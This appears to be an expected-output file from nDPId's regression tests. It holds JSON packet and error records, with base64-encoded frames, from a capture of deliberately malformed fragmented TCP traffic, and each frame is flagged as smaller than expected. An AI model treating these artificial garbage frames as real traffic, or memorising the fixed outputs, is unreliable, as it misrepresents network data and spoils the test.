-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474855} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474865} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474875} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474886} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474896} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474907} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474918} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474929} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474939} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474949} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474959} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474969} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474980} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474990} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475002} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475012} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475022} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475033} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475044} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475053} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475064} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475075} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475088} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475098} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475108} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475119} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475129} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475140} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475150} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475171} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475247} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475257} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":6116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475268} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475279} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475290} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475312} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475333} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475343} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAgoAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475353} 